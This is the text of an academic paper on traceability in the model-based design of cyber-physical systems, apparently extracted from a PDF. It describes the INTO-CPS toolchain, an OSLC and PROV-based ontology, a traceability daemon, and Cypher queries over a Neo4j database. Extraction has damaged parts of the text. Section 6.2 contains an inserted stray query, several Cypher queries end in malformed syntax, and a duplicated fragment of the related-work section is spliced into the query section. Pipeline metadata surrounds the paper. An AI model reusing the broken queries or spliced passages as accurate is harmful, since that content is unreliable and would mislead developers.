[47673, 47820, 23], [47820, 48214, 24], [48214, 51702, 25], [51702, 53991, 26], [53991, 55228, 27], [55228, 55580, 28], [55580, 57349, 29], [57349, 60428, 30], [60428, 62886, 31], [62886, 64565, 32], [64565, 65940, 33], [65940, 66707, 34], [66707, 70082, 35], [70082, 72962, 36]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 72962, 0.05987]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
365cc59e95dc6d760ebba308cad22269a8254622
|
Traceability in the Model-based Design of Cyber-Physical Systems
Christian König1 Alachew Mengist2 Carl Gamble3 Jos Höll1 Kenneth Lausdaht4 Tom Bokhove5 Etienne Brosse6 Oliver Möller7 Adrian Pop2
1TWT GmbH Science & Innovation, Stuttgart, Germany, christian.koenig@twt-gmbh.de
2Department of Computer and Information Science, Linköping University, Sweden, alachew.mengist@liu.se
3School of Computing, Newcastle University, Newcastle upon Tyne, United Kingdom
4Department of Engineering - Aarhus University, Finlandsgade 22, Aarhus N, Denmark
5Controllab Products, Enschede, The Netherlands
6Soateam Research & Development Division, Paris, France
7Verified Systems International Bremen, Germany
Abstract
Design, development, and analysis of complex Cyber Physical Systems (CPSs) using models involves a collaboration of expertise from different engineering domains. Heterogeneous artefacts are generated, often using different lifecycle modeling languages and simulation tools. Capturing the traceability information among these artefacts can be used to support several activities such as requirements tracing, impact analysis of change requests, verification, validation, and documentation. However, creating trace links among these heterogeneous artefacts is challenging as different tools in the development lifecycle are usually disparate and there is no precise semantic in the terminology used between requirement engineers, verification engineers, and system modelers. In this paper, we present a linked data-based approach to capture traceability information and create trace links that relate heterogeneous artefacts in the model-based design process of CPSs through a standardized interface and format using OSLC. This enables artefacts from different tools to be connected and queried through a standardized interface and format.
A practical prototype system for supporting traceability is designed through integration with the INTO-CPS toolchain of CPS design. The traceability data is stored in Neo4j graph database which can be queried for generating various reports such as impact analysis, variant handling, etc.
Keywords: Traceability, Trace links, Linked data, Tool integration, OSLC, Open Service for Lifecycle Collaboration, Model Based Design, Cyber-Physical-Systems
1 Introduction
Cyber-Physical Systems (CPSs) are complex systems that typically consist of computing elements, physical elements and communication channels (Song et al., 2016). CPSs can for example be found in the aerospace domain, in automotive engineering, building automation or robotics, where they often have safety-relevant features. Therefore, exhaustive testing of the systems is necessary. To minimize cost and development time, much of the testing needs to be done virtually, while the actual device is not yet fully ready. To allow this in an efficient manner, model-based systems engineering (MBSE) methods are being applied to the design of CPSs, to develop and test those systems in a time and cost-efficient manner. The MBSE approach requires that parts and features of the system can be related to the design requirements in an automated fashion, supported by appropriate tools. This is the requirements traceability challenge, where the different steps of the implementation and validation of requirements need to be traceable to the original requirements. Only then is it possible to reliably demonstrate that all requirements have been taken into account in the design of the CPS. The software tools that are used to develop and test such complex systems are often heterogeneous.
One important challenge for MBSE of CPS therefore is to enable the engineers to trace the different elements of a CPS along its development cycle back to the requirements. For the tools that are used for the development, this means that they require a common approach to provide and process the traceability-relevant data, and to have a common syntax and semantics for generating and transmitting the data.
During the past decade, the Open-Services for Lifecycle Collaboration (OSLC) specifications (Open-services.net, 2008) have emerged for integrating development lifecycle tools (e.g., modeling tools, change management tools, requirements management tools, quality management tools, configuration management tools) using Linked Data (Heath and Bizer, 2011) approach. The goal of OSLC is to make it easier for tools to work together by specifying a minimum amount of protocol without standardizing the behavior of a specific tool. The OSLC specifications use the Linked Data method to enable integration at the data level via links between artefacts. The artefacts information is represented as Resource Description Framework (RDF) (Manola and Miller, 2004) resources identified by HTTP URLs. OSLC also provides a common protocol for manipulating those RDF resources through standard RESTful web services such as creation (HTTP POST) and retrieval (HTTP
GET), update (HTTP PUT) and delete (HTTP DELETE) operations on RDF resources.
The main contribution of this paper includes the followings. First, we demonstrate a Linked Data-based approach for traceability in the model-based design process for CPSs, and the implementation of this traceability approach in the respective tools. This enables recording and establishing the traceability links of model elements (e.g., requirements, activities, artefacts, modeling tools,) through a standardized interface and format using OSLC. Second, we build a flexible trace links ontology of artefacts between requirements, simulation models, FMUs, simulation results, and test results. Third, we validate the ontology through an example workflow with heterogeneous artefacts in systems engineering.
2 Background
While there have been significant efforts dedicated to the introduction of traceability, there are several challenges that prevent traceability from being used in all the cases where such an application would be beneficial.
First, for traceability to be accepted in industrial use, the overhead that is created by it, must be minimal. Therefore, most functions need to be automated, and well integrated into different tools. Due to the heterogeneity of software tools that are used in systems engineering, all tools need to be equipped with interfaces that exchange data in a unified format, so that the syntax and semantics of the traceability data are compatible. Different “traceability information models” (TIM) have been developed that define the data model used to describe the traceability links between different entities (Mustafa and Labiche, 2017). However, up to now, no universal TIM was established.
For the usability of traceability, considering the representation of the essential traceability data depending on the context is important (Li and Maalej, 2012). Here, visualisation of the data as matrices, lists or trees was explored.
This paper describes the concept and following implementation of traceability in the INTO-CPS project, that was running from 2015 until 2017 (Larsen et al., 2016a). In this project, an integrated tool-chain for model-based design of CPS was developed. On the tooling side, INTO-CPS covers abstract modelling in SysML with the Modelio tool. Detailed modelling of the different parts of a CPS is done in the tools Overture and OpenModelica. System simulation is executed through a newly created Co-Simulation Orchestration Engine (COE) based on the FMI standard (Blochwitz et al., 2012). The FMI standard allows creation of executable units, called Functional Mock-up Units (FMUs) that contain a simulation model and its solver. Such an FMU can be controlled with a standardized API, and its input and output signals are described with an XML file, which is called the modelDescription.xml. Test automation and model checking are performed by the RT-Tester tool-suite. INTO-CPS enables a smooth workflow between the different tasks of CPS development, and the corresponding tools. Regarding traceability, the different tools initially had no interface for exchanging traceability data.
License rights for distribution and usage of INTO-CPS application, along with the COE and the traceability dæmon and the SysML profile for Modelio, which also contains the traceability features, reside with the INTO-CPS association under open source. The traceability functions for Overture and OpenModelica belong to the respective organisations and are also available under an open source license.
3 Traceability in the INTO-CPS project
3.1 Scope
The primary scope for traceability in INTO-CPS is demonstration of the basic traceability tasks across the tool-chain. This includes mostly tracing of the requirements and connecting them with the models, the simulation results, the produced code and test results. Furthermore, analysing the impact of changes (e.g. in requirements) to the overall system can be supported through traceability. Traceability is meant to create as little overhead for the user as possible, so that most actions should occur automatically without the need for user interaction.
The openness of the INTO-CPS tool-chain shall be maintained, by defining open interfaces and formats, such as the ones described in this paper.
However, it is not in the primary scope of the traceability work in INTO-CPS to be able to trace back all steps of the development and revert to each step in the development’s history. For this, other parts of the INTO-CPS project and tools are seen as more appropriate, such as versioning tools (SVN, Git) or functionality of the INTO-CPS Application. Therefore, as will be described below in Section 3.2 some of the tools support Git for versioning.
3.2 Ontology
The traceability ontology for INTO-CPS uses concepts from the PROV working group of the World Wide Web Consortium (W3C). PROV deals with three objects: entity, activity and agent. Entities can include requirements, models, simulation configuration files or simulation results. Activities can be saving of a model, running a co-simulation or more. An agent is a user that performs these activities.
---
1see https://www.modelio.org/
2see http://overturetool.org/
3see http://www.20sim.com/
4see https://openmodelica.org/
5see https://www.verified.de/products/
6see https://www.into-cps.org/
7see https://www.w3.org/TR/prov-overview/
In the context of traceability, these objects are connected by relations. PROV proposes relations such as “used”, “was generated by” or “was derived from”. In addition to these relations, further relations are used for the ontology of INTO-CPS, to express the relevant relations. These are taken from the OSLC definitions. Furthermore, custom relations are proposed. The complete list of relations is described in the following table:
<table>
<thead>
<tr>
<th>Relation</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>prov:used</td>
<td>one entity used another one entity</td>
</tr>
<tr>
<td>prov:wasAttributedTo</td>
<td>attribution of entities in one activity</td>
</tr>
<tr>
<td>prov:wasAssociatedWith</td>
<td>association of activities</td>
</tr>
<tr>
<td>prov:wasGeneratedBy</td>
<td>one entity is generated from another one entity</td>
</tr>
<tr>
<td>prov:wasDerivedFrom</td>
<td>one entity is derived from another one entity</td>
</tr>
<tr>
<td>prov:hadMember</td>
<td>one entity has one or more members</td>
</tr>
<tr>
<td>oslc:elaborates</td>
<td>an entity that elaborates on a requirement</td>
</tr>
<tr>
<td>oslc:satisfies</td>
<td>an entity that satisfies a requirement</td>
</tr>
<tr>
<td>oslc:verifies</td>
<td>an entity that verifies an assumption</td>
</tr>
<tr>
<td>into:doesNotVerify</td>
<td>an entity that does not verify an assumption</td>
</tr>
<tr>
<td>into:violates</td>
<td>an entity that violates an assumption</td>
</tr>
</tbody>
</table>
A number of activities are defined which shall create traces, using the objects and relations shortly described above. To illustrate this concept, a single activity is described in the following Figure 1 with its SysML Block Definition Diagram. The Activity “FMU Export” is associated with an agent and related to a number of entities. It generates an FMU (e.g., a file) and uses a simulation tool and a Component Simulation Model, and may in addition use a Test FMU, a Model Check Model and a Model Checking Suite, if the FMU is derived from a Model Checking activity. Finally, the FMU Export activity is associated with an Agent, and the FMU itself is attributed to this agent.
### 3.3 Architecture
This section introduces an outline of the tool and file system elements that support the traceability activities in the INTO-CPS tool-chain, and this outline is shown in Figure 2.
The central element of the traceability architecture is the traceability daemon, along with an interface (a REST-AP\[9\]) that can be used in two ways: The tools (e.g., 20-Sim, OpenModelica, Overture, Modelio, RT-Tester, the COE, the INTO-CPS application) write data to the interface (e.g., they send traceability information from actions that happened within the tools to the daemon), the INTO-CPS application queries the interface (e.g., for retrieving information from the database). The daemon acts as front-end to the database (both for write and read operations, as explained later).
A schema \[10\] for the traceability messages is developed, which defines the format of the messages, and restricts their content. The schema defines the valid syntax of data submissions from the various tools. The tools need to implement the correct format, and the daemon validates if the tool has done it properly. This makes sure that the database contains only information that follows the same format, and therefore can be queried easily. Crucially, since the schema is machine-readable, the validation is done automatically. Furthermore, since the schema is public, traceability can be easily implemented in other
---
\[9\] REST: Representational State Transfer; API: Application Programming Interface
\[10\] see https://github.com/INTO-CPS-Association/into-cps-application/tree/development/src/resources/into-cps/tracability/schemas
tools (e.g. tools from vendors outside the INTO-CPS consortium, for instance from the INTO-CPS association) so that these can send valid traceability messages to the daemon. In the schema, all allowed traceability-related entities, such as activities, artefacts or tools are contained. Relations between entities, such as `prov:wasGeneratedBy`, `oslc:satisfies` and more are also described in the schema. It is therefore important in such a tool-chain-wide approach as with traceability, that all the tools comply with the schema and that the whole ontology (see Section 3.2) is covered by it. The process of generating messages, sending them to the daemon and validating them, is shown in the Figure 3 below. The user action, which in this example is the export of a `modelDescription.xml` file from the Modelio tool, triggers the generation of a message with the file ending *.dmsg, which shall comply to the Schema. This message is sent via HTTP to the daemon, who validates the message according to the schema. If the message is valid, the daemon adds the content of this message to the global database and saves the *.dmsg file in the project folder.
4 Example Workflow
To illustrate the methods that have been described in the previous sections, we introduce an example. Figure 4 illustrates on the left side a complete workflow for the process from System Modelling, Behaviour Modelling and Co-Simulation, here performed using the tools Modelio, OpenModelica and the INTO-CPS Application.
The user starts with System Modelling, where the system is described by using SysML blocks including their ports and attributes. Requirements are written down and linked to the different SysML blocks that shall implement them. From a single block, a `modelDescription.xml` file can be exported, which is then imported into a modelling tool such as OpenModelica, to give the frame in which the behaviour will be implemented. This model will be saved, and finally exported to an FMU. Multiple of these FMUs will be connected in the INTO-CPS Application to form a Multi-model. The Co-Simulation will be set up with parameters such as time-stepping or simulation duration. Finally, the Co-Simulation is run to give the simulation traces.
The right hand side of Figure 4 shows the main artefacts, from the requirements over the model files to the simulation results, and their relations in the Prov or OSLC notation (see Section 3.2), as they are stored in the traceability database. Note that for readability, we show only the most relevant artefacts here, and omit those that are created by the tools to represent authors, activities, tools, timestamps or additional information. The figure shows that all the artefacts are linked, so that it is for instance possible to see that a particular requirement has been implemented in a system element, and later its behavior has been simulated. As we will discuss in Section 6, it is also possible with the usage of a test automation tool, to add information about the verification or violation of requirements.
This example only shows a very simple workflow, without advanced activities such as Model Checking or Design Space Exploration. It does, however, illustrate the relation between the engineering workflow, the traceability data and its representation. The different steps in the development cycle of a CPS that are depicted in Figure 4 are usually performed by multiple people or organisations, using different tools.
5 Implementation in the INTO-CPS tools
This section describes the implementation of the traceability features in the different tools, which are shown in Figure 2. OSLC is chosen as an implementation specification to manage traceability information from different lifecycle tools used in the model-based design of Cyber-Physical Systems. In our prototype, artefacts and their
relationships are described using an RDF/JSON format. The structure of the RDF consists of RDF triples with a Uniform Resource Identifier (URI) grouped into graphs: artefacts(subjects), relations (Predicates) and what it belongs to (objects). For instance, "Model (Subject) satisfies (Predicate) a requirement (Object)". The type of link (i.e., the predicate used in the link triple) defines the semantics of the link thus providing traceability between artefacts.
5.1 Traceability Daemon
The traceability daemon is essentially the core of the traceability tool support. In our implementation, it is launched or terminated by the INTO-CPS Application. The daemon's primary function is to create an OSLC compliant HTTP port and listen for the POST and GET actions. The different tools send data to an IP address at which the daemon is running (which, in our implementation, must be known to the tools). It stores the data sent via a POST request and will return a suitable response to a GET request. The requests are sent from the different tools, and the received data is stored in the Neo4J database. The daemon provides an interface that allows to retrieve the required data. This interface basically passes Cypher (see Section 6) queries to the Neo4J database.
The database is stored in a binary format, which causes problems when it is versioned (e.g. in a Git or SVN system) and changed by multiple users. To solve this, a step is added between receiving of the traceability messages and storing them in the Neo4J database. Each message the daemon receives is saved as plain text into a single file (with .dmsg file ending) in the project folder. The content of one such file is indicated in Figure 3. At the startup of the INTO-CPS Application, the daemon builds the database from these single files. This allows multiple users to work on the project simultaneously. Each user generates traceability messages by the different actions he/she performs. These messages are stored in the project folder. After completion of a task, the user pushes the files to the global repository. Merging of the database is then done by combining the .dmsg files. After an update of the project folder, each user has access to the whole database. The schematic process is shown in Figure 5 below.
In addition, the daemon is validating the messages it receives from the tools with respect to the schema, to make sure that only those messages that comply with the schema are written into the database. Only when all tools use the same message format will the queries (see Section 6) return meaningful information.
5.2 Modelio
The requirements definition part is handled only by Modelio. Modelio represents the Architecture Modeling activity in the INTO-CPS workflows. Modelio records the following traceability actions: Architecture creation, Architecture modification, ModelDescription export, Co-Simulation configuration export, Requirements generation and linking to SysML blocks.
Consequently, these actions are traced. The Architecture creation / modification captures the generation and modification of a SysML block in Modelio. The genera-
Schematic process of merging multiple messages from different users and building the Neo4J database from them.
- **Local user**
- Pulls updated files from repository
- Daemon starts locally with INTO-CPS App.
- Daemon parses *.dmsg files
- Daemon validates messages
- Builds Neo4J DB from *.dmsg files
- **Remote users**
- Multiple users generate *.dmsg files
- Files are committed to repository
Figure 5. Schematic process of merging multiple messages from different users and building the Neo4J database from them.
**5. Modeling tools**
While Modelio is the starting point for requirement tracing, the modeling tools OpenModelica, 20-sim and Overture capture specific functional and non-functional aspects of the system design. They are described briefly in this section. Generation of models, either from scratch or from an imported modelDescription.xml file (e.g. coming from Modelio in the previous step) is the next step in the workflow, and consequently traced, together with their modification. FMUs can be imported from other tools, to include them in the native models. Exporting an FMU is the next step in the workflow, and is consequently also traced. OpenModelica, 20-sim and Overture record the following traceability actions: Model creation, model modification, FMU export, FMU import, modelDescription.xml import.
**20-sim** 20-sim is a modeling and simulation tool for mechatronic and control systems. Because Git is needed for the INTO-CPS traceability daemon, it is not possible to only enable the traceability daemon without enabling Git version control. If both options (for Git version control and for communication with the traceability daemon) are enabled, every traceable action in 20-sim will store a copy of its data in the indicated Git repository. If the model itself is already in a Git repository, this will also make sure to commit the changes to this repository automatically. There is an additional option named “Write custom save messages”, which will ask the user to write a custom message whenever a traceable action is performed. This message will be stored in Git as the Git commit message.
The “Model creation” action is a “Save as” action, which is the moment when the user officially saves a new model to disk. In the same line of reasoning, a “Model modification” action is a “Save” action in 20-sim, because the user modifies an existing model on disk. 20-sim has no support for deleting a model from within its user interface, therefore there is no traceability query to delete a model from 20-sim. 20-sim also has support to export and import an FMU and to import a modelDescription.xml file. These three actions are also traced. The exported or imported FMU or the imported modelDescription.xml file will also be placed under version control in the Git repository. Currently 20-sim does not support tracing the export of a tool-wrapped FMU.
**OpenModelica** OpenModelica is an open-source modeling and simulation tool which uses the Modelica language (Fritzson et al., 2018). Traceability support in OpenModelica is very similar to the one implemented in 20-sim. After an initial configuration of the Git repository and traceability daemon, the actions for saving a model, import of a modelDescription.xml file and export of an FMU are traced without further user interaction. Traceability in OpenModelica is described in more detail in (Mengist et al., 2017).
**Overture** In Overture, which is a modeling tool using the Vienna Development Method (Larsen et al., 2010), traceability is implemented as an additional package (as a .jar file), that can be downloaded from the GitHub page of the INTO-CPS traceability-driver project. This package extracts traceability information from the Git repository, where the current Overture project is stored in. It can be either triggered manually, or simply added to a Git post-commit hook, to send new traces to the daemon after the user commits the changes to the model to the repository. Similar to Modelio, this way of extracting traceability messages from the Git repository is useful if traceability has not been used since the start of the project.
5.4 RT-Tester
RT-Tester is a tool for test automation and model checking. It records the following traceability actions: Define test model, define test objectives, run test, define model-checking model, define continuous time abstraction, run model-checking query.
There is no need for the user to configure these operations, because per default valid settings (for the INTO-CPS Application) are used.
5.5 INTO-CPS Application
The INTO-CPS Application is the graphical user interface for configuring and running co-simulation scenarios, design-space exploration, test automation and model checking (Larsen et al. 2016b). It records the following traceability actions: Multi-model creation, Co-Simulation configuration creation, run simulation.
These actions are automatically recorded once the user creates a multi-model from an exported SysML configuration diagram, generates a Co-Simulation configuration from a multi-model, or modifies these configurations. Finally, the start of a simulation run is also recorded.
6 Queries and Visualisation
In order to bring a benefit to the user, the traceability data not only needs to be recorded, but also analysed and presented in a way that is helpful to the user. The tools therefore must have a way of querying the database, for specific information, such as relations between requirements, models, test results, users or simulation results.
The results from these queries are displayed within the INTO-CPS Application as lists, separated between different categories (FMUs, Users, Simulations, Requirements), as discussed below in Section 6.2. These categories can be extended and minimized, to present a neatly arranged view to the user. Additionally, for expert users that have a good understanding of the underlying structure, and that are proficient in generating queries to the database, it is possible to manually enter queries to search the traceability database, using the Cypher query language (see Section 6.1 below).
While there is plenty of research on traceability in software or systems engineering, only few industry standard tools implement traceability. One of them, IBM Doors Next Generation, is among the most popular tools (Winkler and Pilgrim 2010), which displays traceability relations between requirements on different levels (e.g. high-level requirements and their refinements) as trees or lists. Another common way of displaying traceability relations is the matrix view, which shows the relations between different artefacts in a 2-dimensional table. However, due to the heterogeneity of the different artefact types (requirements, models / FMUs, simulation results, configuration files etc.), the matrix view is not implemented in the context of INTO-CPS. Another standard way of presenting links is the graph view, where the different artefacts and their relations are shown in a graph. This is possible using the built-in Neo4J interface which allows browsing the complete graph. In principle, however, the openness of the INTO-CPS tool-chain allows for creation of new views, if they are required by a specific use-case.
6.1 Cypher query language
The Neo4J database uses a query language called Cypher. This language uses ASCII syntax to represent nodes and relations. Nodes are surrounded by parentheses ‘(’ and ‘)’, and relationships are identified by square brackets ‘[‘ and ‘]’). More information can be found on 13 In a study by Rath et al., graph query languages such as Cypher were also identified as suitable for requirements traceability. Rath et al. (2017).
6.2 Implementation in the INTO-CPS application
For representation of the traceability links to the users, pre-defined queries were integrated to the INTO-CPS Application. They allow the user to search for different artefacts and relations between artefacts. The user interface is identical to the rest of the INTO-CPS Application, which lowers the entry barriers for users. The search queries generate lists of items, which can be minimized to keep an overview of all the presented data.
The following queries are implemented in the INTO-CPS Application to allow for an easy usage.
1. FMUs: Query the database for all requirements that are related to a specific FMU.
2. Users: Query the database for all activities and artefacts that are related to a specific user.
3. Simulations: Query the database for all the Co-Simulation results that are associated with a multi-model.
4. Requirements: Query the database for test results that are linked to requirements.
Right-clicking on the “Traceability” button on the left-hand side of the window opens a context menu (see Figure 9). Clicking on “Trace Objects” shows the overview of the different queries, that can then be extended and minimized.
FMU and requirements This query is run in two steps. The first query lists all the FMUs that are stored in the database (e.g. after FMU export in Overture, 20-sim or OpenModelica, see Section 5.3).
In the Cypher language (see previous Section), the first query is achieved with the following command:
```cypher
MATCH (r:Requirement) WHERE r.FMU.URI = '{FMU.URI}' RETURN r
```
match (n{type:'fmu'})
return n.uri, n.path
In the next step, all requirements that are related to a specific FMU (<FMU_name>) are queried by the following command (note that “act” denotes an activity, and “elem” denotes an element):
match (act)<-
[:Trace{name:'prov:wasGeneratedBy'}]-(
{uri:'<FMU_name>'})-
[:Trace{name:'oslc:satisfies'}]->
(elem)
return elem.uri, elem.hash, act.time, elem.type
order by act.time desc
This returns all the requirements that are linked by the oslc:satisfies relationship to the particular FMU.
Users, artefacts and activities The INTO-CPS project aims explicitly the collaborative modelling, which means that multiple people are typically involved in the process. To support this, all the users and their actions can be traced. First, all users are queried from the database by using the following command:
match (usr{specifier:'prov:Agent'})
return usr.name, usr.uri
Next, all the artefacts that were influenced by a particular user (here identified by the URI, which contains the e-mail address Agent.user@mail.com) can be found by:
match (usr{uri:'Agent.user@mail.com'})<-
[:Trace{name:'prov:wasAttributedTo'}]-(entity)
return entity.uri, entity.type
These artefacts are for example simulation results, FMUs, model description files or simulation configurations. A complete list of activities can be found in the schema under the enumeration for ArtefactType. In addition, all the activities performed by this user can be traced by:
match (usr{uri:'Agent.user@mail.com'})<-
[:Trace{name:'prov:wasAssociatedWith'}]-(entity)
return entity.uri, entity.type
The activities are for example architectureModelling, modelDescriptionExport, simulationModelling and so forth. A complete list of activities can be found in the schema under the enumeration for ActivityType. Those activities reflect the activities as described in the ontology (see Section 5.2).
Simulation results and files To show which resources were used to generate simulation results, all the simulation results are queried first by the following command:
match (n{type:'simulationResult'})-
[:Trace{name:'prov:wasGeneratedBy'}]-(m)
return n.uri, m.time, m.type
In the next step, all files that were used (i.e. that have the relation prov:used) to produce a particular simulation result (<Result_file>) are queried by the following command:
match (node{uri:'Entity.<Result_file>'})-
[:Trace{name:'prov:wasGeneratedBy'}]-(simulation)-
[:Trace{name:'prov:used'}]-(entity)
return entity.uri, entity.path, entity.hash
This query lists the FMUs, the configuration files and the log files which are related to this particular simulation result.
Requirements and Test results To relate requirements with the test results from RT-Tester (see Section 5.4), three different queries were implemented. Requirements without positive simulation or test results are queried by:
match (req{type:'requirement'})
where not (req)<-
[:Trace{name:'oslc:verifies'}]()-
return req.uri
This query indicates to the user all those requirements that have not been validated yet. Requirements without any simulation or test result are queried by the following command:
match (req{type:'requirement'})
where not (req)<-
[:Trace{name:'into:violates'}]()-
and not (req)<-
[:Trace{name:'oslc:verifies'}]()-
return req.uri
This query suggests to the user all those requirements that have not been validated yet.
facts in the context of the safety-critical systems domain (Taromirad et al., 2013) for capturing heterogeneous artefact Information Model (TIM) has been proposed in specify traceability link semantics. For example, a Traceability Metamodeling Language (TML) is also presented in (N. et al., 2009) for defining the syntax and semantics of traceability metamodels. It can support any type of traceability links including the newly created ones. However, only artefacts from Meta Object Framework (MOF)-based models can be traced and linked.
The Traceability Metamodeling Language (TML) is also presented in (N. et al., 2009) for defining the syntax and semantics of traceability metamodels. It can support any type of traceability links including the newly created ones. However, only artefacts from Meta Object Framework (MOF)-based models can be traced and linked.
6.3 Evaluation of the current tool-chain
While the presented implementation in the different tools is mainly a proof of concepts, some conclusions for a general evaluation of the concepts can be drawn. The open architecture that relies on OSLC allows different tools, independent of their platform, to exchange data through well-established standards (such as HTTP or JSON). The format of the messages is published in a JSON schema file, which allows any other tool to verify its messages and connect to the workflow. The overhead in terms of the amount of data that is being sent and stored is considered to be little, as the JSON files are lightweight, and only relevant activities are recorded. The Neo4J database with its Cypher querying language allows flexible querying of the database, so that additional activities or tools could easily be integrated. The current solution with the traceability daemon running locally with the INTO-CPS application should in future be replaced with a centralised traceability service, which is however easy to implement. Therefore, the tool prototypes currently implement no dedicated error handling if no connection to the daemon is available. Furthermore, no mechanism to handle user authentication was implemented in our prototype. In summary, we consider our approach to traceability to be simple and yet powerful enough, due to its openness and little overhead. Especially for larger project in safety critical domains, where documentation of the relation between requirements, tests and validation results is required, the presented approach is promising.
7 Related Work
There are several existing techniques that aim to model traceability among heterogeneous domains. However, in a systematic literature review conducted in (Mustafa and Labiche, 2017), existing traceability approaches are either limited to a specific domain and problem, or they lack to specify traceability link semantics. For example, a Traceability Information Model (TIM) has been presented in (Taromirad et al., 2013) for capturing heterogeneous artefacts in the context of the safety-critical systems domain where the TIM is defined on top of multi-domains using Ecore (Steinberg et al., 2009) metamodeling language. This model, however, lacks to specify how source and target artefacts can be linked and it is not clear how to classify a trace link or an artefact.
In (Hung Le Dang and Hubert Dubois and Sébastien Gérard, 2008), the authors proposed a traceability model for tracing heterogeneous artefacts (requirements model, design artefacts, and verification and validation model) in automotive systems. This solution only supports specific types of trace links and cannot be extended to support a new traceability link and various modeling languages.
The Traceability Metamodeling Language (TML) is also presented in (N. et al., 2009) for defining the syntax and semantics of traceability metamodels. It can support any type of traceability links including the newly created ones. However, only artefacts from Meta Object Framework (MOF)-based models can be traced and linked.
ModelBus (Hein et al., 2009) is a tool integration framework in the domain of system engineering, which uses traceability data such as timestamps for artefact creation and modification, and information about the creator of a specific artefact. But, it rather uses a one to one transformation for the integration of two tools since there is no common data format. As with ModelBus, our approach also builds the integration based upon Web Services. However, the usage of common data format and OSLC in our approach makes the integration more up to date to the latest industrial standard of managing traceability data in the whole development lifecycle in the model-based design of CPSs.
Compared to the above existing approaches, we presented a linked data-based approach to handle standardized traceability links for heterogeneous artefacts from different lifecycle modeling languages and simulation tools. The integration is based upon the standardized defined schema to ensure that all tools use the same format for sending their data, and an ontology was defined to describe the data that is collected at different events.
8 Conclusion
This paper presents the results of the traceability and model management efforts in the INTO-CPS project. A common architecture for traceability was designed, using a central database as repository for all traceability information, and a daemon to receive data from the different tools. A message schema was defined that ensures that all tools use the same format for sending their data, and an ontology was defined to describe the data that is collected at different events. Collaborative work involving multiple users is supported. All tools record the relevant actions, and the whole workflow of INTO-CPS is covered, with respect to traceability data. Collection of data is automated as far as possible, minimizing overhead for the users. Queries were implemented in the INTO-CPS application to return meaningful data to the user.
While the INTO-CPS tool-chain is well covered with respect to traceability, external tools are not supported. For example, if FMUs were generated in other tools, this is not listed in the traceability database. Therefore, methods for covering these artefacts coming from external tools, could be developed in the future. Since interface, ontology and format for the messages are public, support for external tools can easily be integrated by their developers. In principle, traceability should be used since the beginning of a project, such as CPS design. However, parsing of the Git repository, as it is enabled by Overture or Modellio, enables users to take advantage of traceability even though it was not used from the very beginning.
In the context of INTO-CPS, we enabled requirements traceability in the whole tool-chain of CPS design, from requirements collection, systems modeling, through physical and cyber modeling, down to co-simulation and test automation. This presents an important step in the true integration of the different tools that are used in CPS design.
Acknowledgment
Support for the INTO-CPS project through the European Commission’s Horizon2020 funding scheme (Grant Number 644047) is gratefully acknowledged.
References
Michael Rath, David Akehurst, Christoph Borowski, and Patrick Mäder. Are graph query languages applicable for requirements traceability analysis? In REFSQ Workshops, 2017.
|
{"Source-Url": "https://2020.american.conference.modelica.org/proceedings/papers/Modelica2020US_paper_11.pdf", "len_cl100k_base": 8631, "olmocr-version": "0.1.49", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 32787, "total-output-tokens": 10910, "length": "2e13", "weborganizer": {"__label__adult": 0.0003752708435058594, "__label__art_design": 0.0005917549133300781, "__label__crime_law": 0.0003681182861328125, "__label__education_jobs": 0.0016012191772460938, "__label__entertainment": 0.0001061558723449707, "__label__fashion_beauty": 0.00022149085998535156, "__label__finance_business": 0.0005054473876953125, "__label__food_dining": 0.00034117698669433594, "__label__games": 0.0008745193481445312, "__label__hardware": 0.0015764236450195312, "__label__health": 0.0005202293395996094, "__label__history": 0.0005116462707519531, "__label__home_hobbies": 0.0001385211944580078, "__label__industrial": 0.000946044921875, "__label__literature": 0.0003724098205566406, "__label__politics": 0.0002586841583251953, "__label__religion": 0.0005359649658203125, "__label__science_tech": 0.21044921875, "__label__social_life": 0.00013589859008789062, "__label__software": 0.017303466796875, "__label__software_dev": 0.7607421875, "__label__sports_fitness": 0.0003719329833984375, "__label__transportation": 0.0010309219360351562, "__label__travel": 0.00025391578674316406}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47204, 0.02049]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47204, 0.49662]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47204, 0.89978]], "google_gemma-3-12b-it_contains_pii": [[0, 4961, false], [4961, 10358, null], [10358, 14517, null], [14517, 18365, null], [18365, 21506, null], [21506, 25752, null], [25752, 30994, null], [30994, 34390, null], [34390, 40341, null], [40341, 46242, null], [46242, 47204, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4961, true], [4961, 10358, null], [10358, 14517, null], [14517, 18365, null], [18365, 21506, null], [21506, 25752, null], [25752, 30994, null], [30994, 34390, null], [34390, 40341, null], [40341, 46242, null], [46242, 47204, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 47204, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47204, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47204, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47204, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47204, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47204, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47204, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47204, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47204, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47204, null]], "pdf_page_numbers": [[0, 4961, 1], [4961, 10358, 2], [10358, 14517, 3], [14517, 18365, 4], [18365, 21506, 5], [21506, 25752, 6], [25752, 30994, 7], [30994, 34390, 8], [34390, 40341, 9], [40341, 46242, 10], [46242, 47204, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47204, 0.06341]]}
|
olmocr_science_pdfs
|
2024-11-26
|
2024-11-26
|
